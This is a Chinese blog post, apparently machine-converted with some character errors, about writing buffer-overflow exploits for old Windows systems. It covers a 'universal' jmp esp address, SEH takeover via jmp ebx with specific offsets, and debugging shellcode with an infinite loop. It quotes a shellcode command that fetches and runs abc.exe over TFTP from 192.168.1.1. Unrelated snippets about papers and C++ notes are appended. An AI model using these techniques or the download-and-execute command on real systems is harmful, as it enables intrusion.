讀《菜鳥版Exploit編寫指南》有感

2021-05-22 18:17:39 字數 1697 閱讀 3843

開始自己也是這麼認為的,但後來偶然查到,lion公布了跳轉到ebx的通用位址,也就是f.zh文章中所說的0x7ffa1571,而且lion後來也公布了jmp esp的通用位址--0x7ffa4512。

查到這個,心中狂喜!馬上按f.zh介紹的方法,寫出lsa的溢位程式,並放上0x7ffa4512 作為跳轉位址。然後測試了中文windows 2000的所有sp版本,還有xp和2003,發現都是有效的。因為這個位址會給大家很大的幫助,所以這裡說說,作為f.zh文章的補充吧。

第二 個問題:可以利用jmp /call ebx的原理。

f.zh在講用jmp esp覆蓋返回位址方法的時候,寫地很清楚了,建議大家仔細閱讀。但在講用"jmp / call ebx"覆蓋異常的時候,f.zh只是說i=2844的地方放"jmp / call ebx",程式就會執行到i=2840,我們在i=2840的地方放"nop/nop/jmp 4",在i=2248放上我們的shellcode,就可以完成跳轉了!但自己心中就有個疑問:為什麼執行"jmp /call ebx"會到前面4個位元組呢?

後來查了大量資料和文章,發現機制原來是這樣的:在用jmp esp覆蓋返回位址方法時,我們知道將返回位址覆蓋成另乙個位址。但如果是個無效的位址呢?那裡指向的資料或許不能讀,或許不能執行,那會怎麼樣呢?

其 實相信大家都遇到過,那就是系統會彈出個對話方塊報錯,我們點確定,就會終止執行。這是因為作為乙個系統級的程式,內部有健全的出錯處理機制。簡單的說,如果執行時有錯誤產生,windows就會跳到乙個專門處理錯誤的地方,對應不同的錯誤,執行不同的**。上面執行的**就是彈出個對話方塊報錯。 windows處理錯誤的機制

當有異常錯誤發生時,eip指向上圖的"處理程式位址",而ebx自動為"下一處理位址",這樣就可以把異常處理位址連線起來,形成了乙個異常處理串。所以這裡我們故意把返回的位址覆蓋成乙個錯誤的位址。出錯時,windows就會跳到處理錯誤的入口,而ebx指向入口前4個位元組的地方,我們在這裡毫不客氣的一起覆蓋了!哈哈!情況變成下面這樣了,那當然可以跳到shellcode了,這就是接管異常,聽起很有成就感吧?!

在第二篇文章中,f,zh重點在於如何找到要覆蓋位址的位置。方法很巧妙,也很實用,但只是在找到覆蓋的地方後,簡單的附加上了現成的shellcode。利用該方法,在實際的應用中常常不能一下就成功的實現 shellcode的功能。

這可能有兩個原因,一或者是覆蓋位址不對,二或者是shellcode中的一些字元或者被改變、截斷,表現出來就都是完成不了我們想要的功能。在這種情況下,我們需要知道究竟是覆蓋位址錯誤了,還是shellcode被改變了?

在經過大量的測試後,自己發現乙個很適合我們菜鳥的簡單方法來判斷,即在shellcode的第一句添上"xeb/xfe",即是"jmp 1"乙個死迴圈,不要小瞧它,在除錯中是很有用的。我們執行寫好的exploit攻擊程式,如果返回位址正確,那麼就會跳入"/xeb/xfe"這句死迴圈中,我們可以用調出softice,發現一直陷入這句指令不走了,然後對照跟在後面的shellcode,看它是否和我們編寫的一樣,這樣可以比較容 易的發現問題。

自己在利用root的程式測試foxmail的漏洞時,就是用該方法來發現root給的返回位址在自己的機子上是無效的,溢位後進入不了"/xeb/xfe"這句死迴圈,所以自己就換了乙個返回位址,終於可以進入"/xeb/xfe"了,但還是完成不了功能,再對照 shellcode發現原來是"cmd /c tfpt i 192.168.1.1 get abc.exe & abc.exe"這句中的"cmd /c"的"/"被替換了。知道問題就好辦了,換了乙個合要求的就可以了,呵呵。

菜鳥讀文獻系列(一)

摘要 本文給出了一種在自然影象中檢測和識別文字的演算法。我們首先獲得由盲人和正常目標物件拍攝的城市影象的資料集。接下來,我們執行文字區域的統計分析以確定哪些影象特徵是文字的可靠指示符並且具有低熵 即,特徵響應對於所有文字影象類似 我們通過使用關於概率的聯合概率來獲得弱分類器。這些弱分類器用作adab...

菜鳥讀文獻系列(三)

end to end text recognition with convolutional neural networks 卷積神經網路的端到端文字識別 摘要 在自然影象中的完全端到端文字識別是乙個具有挑戰性的問題,近來已經受到極大關注。在這一領域的傳統系統依靠精心設計的模型結合仔細手工工程特徵或...

c 程式設計 譚浩強編 菜鳥學習筆記(一)

本人交大在讀研二狗,以前幾乎沒有任何程式設計經驗 本科時學過c語言,69分 但複習三天譚浩強的c語言程式設計就在計算機二級考試中得了優,故有點盲目自信 發誓要在半個月c 入門,能夠一窺c 的奧妙。主要學習工具與書籍 visual studio 2008 vassistx c 程式設計 譚浩強編 孫鑫...